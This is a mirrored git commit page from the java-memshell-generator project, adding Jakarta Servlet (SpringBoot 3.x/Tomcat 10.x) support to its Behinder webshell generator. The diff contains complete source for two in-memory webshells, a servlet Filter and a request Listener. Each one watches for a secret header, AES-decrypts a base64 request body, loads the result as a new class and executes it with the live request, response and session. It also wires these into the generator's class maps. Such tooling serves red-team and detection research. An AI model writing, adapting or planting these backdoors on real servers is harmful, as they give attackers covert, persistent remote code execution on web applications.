archive/java-memshell-generator
1
0
Fork 0
mirror of https://github.com/pen4uin/java-memshell-generator.git synced 2026-09-22 17:58:59 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

add: 添加对 Jakarta Servlet 的支持（SpringBoot 3.x/Tomcat 10.x）

Browse Source
This commit is contained in:
pen4uin
2024-08-25 18:55:49 +08:00
parent 4d43d247c1
commit 35367e7d06
30 changed files with 2062 additions and 20 deletions
Download Patch File Download Diff File Expand all files Collapse all files
jmg-behinder/src/main/java/jmg/behinder/generator/BehinderGenerator.java
+5
View File
@@ -44,6 +44,11 @@ public class BehinderGenerator implements IShellGenerator {
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
}
if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) {
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet.");
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
}
JavassistUtil.removeSourceFileAttribute(ctClass);
bytes = ctClass.toBytecode();
ctClass.detach();
jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderJakartaFilter.java
Executable
+73
View File
@@ -0,0 +1,73 @@
package jmg.behinder.memshell;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import jakarta.servlet.http.HttpSession;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
public class BehinderJakartaFilter extends ClassLoader implements Filter {
public String pass;
public String headerName;
public String headerValue;
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public BehinderJakartaFilter() {
}
public BehinderJakartaFilter(ClassLoader c) {
super(c);
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
try {
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
HttpSession session = ((HttpServletRequest) servletRequest).getSession();
Map obj = new HashMap();
obj.put("request", servletRequest);
obj.put("response", response);
obj.put("session", session);
// fix: SpringBoot 3.3.3 (Tomcat/10.1.28)
// java.lang.NoSuchMethodError: 'void jakarta.servlet.http.HttpSession.putValue(java.lang.String, java.lang.Object)'
// session.putValue("u", this.pass);
session.setAttribute("u", pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
(new BehinderJakartaFilter(this.getClass().getClassLoader())).g(c.doFinal(this.doBase64Decode(servletRequest.getReader().readLine()))).newInstance().equals(obj);
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
} catch (Exception e) {
filterChain.doFilter(servletRequest, servletResponse);
}
}
public byte[] doBase64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
}
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void destroy() {
}
}
jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderJakartaListener.java
+98
View File
@@ -0,0 +1,98 @@
package jmg.behinder.memshell;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import jakarta.servlet.http.HttpSession;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class BehinderJakartaListener extends ClassLoader implements ServletRequestListener {
public String pass;
public String headerName;
public String headerValue;
public BehinderJakartaListener() {
}
public BehinderJakartaListener(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = this.getResponseFromRequest(request);
HttpSession session = request.getSession();
Map obj = new HashMap();
obj.put("request", request);
obj.put("response", response);
obj.put("session", session);
try {
// session.putValue("u", pass);
session.setAttribute("u", pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
(new BehinderJakartaListener(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj);
} catch (Exception var7) {
}
}
} catch (Exception e) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
return null;
}
private static synchronized Object getFV(Object var0, String var1) throws Exception {
Field var2 = null;
Class var3 = var0.getClass();
while (var3 != Object.class) {
try {
var2 = var3.getDeclaredField(var1);
break;
} catch (NoSuchFieldException var5) {
var3 = var3.getSuperclass();
}
}
if (var2 == null) {
throw new NoSuchFieldException(var1);
} else {
var2.setAccessible(true);
return var2.get(var0);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
}
}
}
jmg-behinder/src/main/java/jmg/behinder/util/ShellUtil.java
+5 -3
View File
@@ -1,8 +1,6 @@
package jmg.behinder.util;
import jmg.behinder.memshell.BehinderFilter;
import jmg.behinder.memshell.BehinderInterceptor;
import jmg.behinder.memshell.BehinderListener;
import jmg.behinder.memshell.*;
import jmg.core.config.Constants;
import java.util.HashMap;
@@ -33,11 +31,15 @@ public class ShellUtil {
SHELL_CLASSNAME_MAP.put(BehinderListener.class.getSimpleName(), BehinderListener.class.getName());
SHELL_CLASSNAME_MAP.put(BehinderFilter.class.getSimpleName(), BehinderFilter.class.getName());
SHELL_CLASSNAME_MAP.put(BehinderInterceptor.class.getSimpleName(), BehinderInterceptor.class.getName());
SHELL_CLASSNAME_MAP.put(BehinderJakartaFilter.class.getSimpleName(), BehinderJakartaFilter.class.getName());
SHELL_CLASSNAME_MAP.put(BehinderJakartaListener.class.getSimpleName(), BehinderJakartaListener.class.getName());
Map<String, String> behinderMap = new HashMap();
behinderMap.put(Constants.SHELL_FILTER, BehinderFilter.class.getSimpleName());
behinderMap.put(Constants.SHELL_LISTENER, BehinderListener.class.getSimpleName());
behinderMap.put(Constants.SHELL_INTERCEPTOR, BehinderInterceptor.class.getSimpleName());
behinderMap.put(Constants.SHELL_JAKARTA_LISTENER, BehinderJakartaListener.class.getSimpleName());
behinderMap.put(Constants.SHELL_JAKARTA_FILTER, BehinderJakartaFilter.class.getSimpleName());
toolMap.put(Constants.TOOL_BEHINDER, behinderMap);
}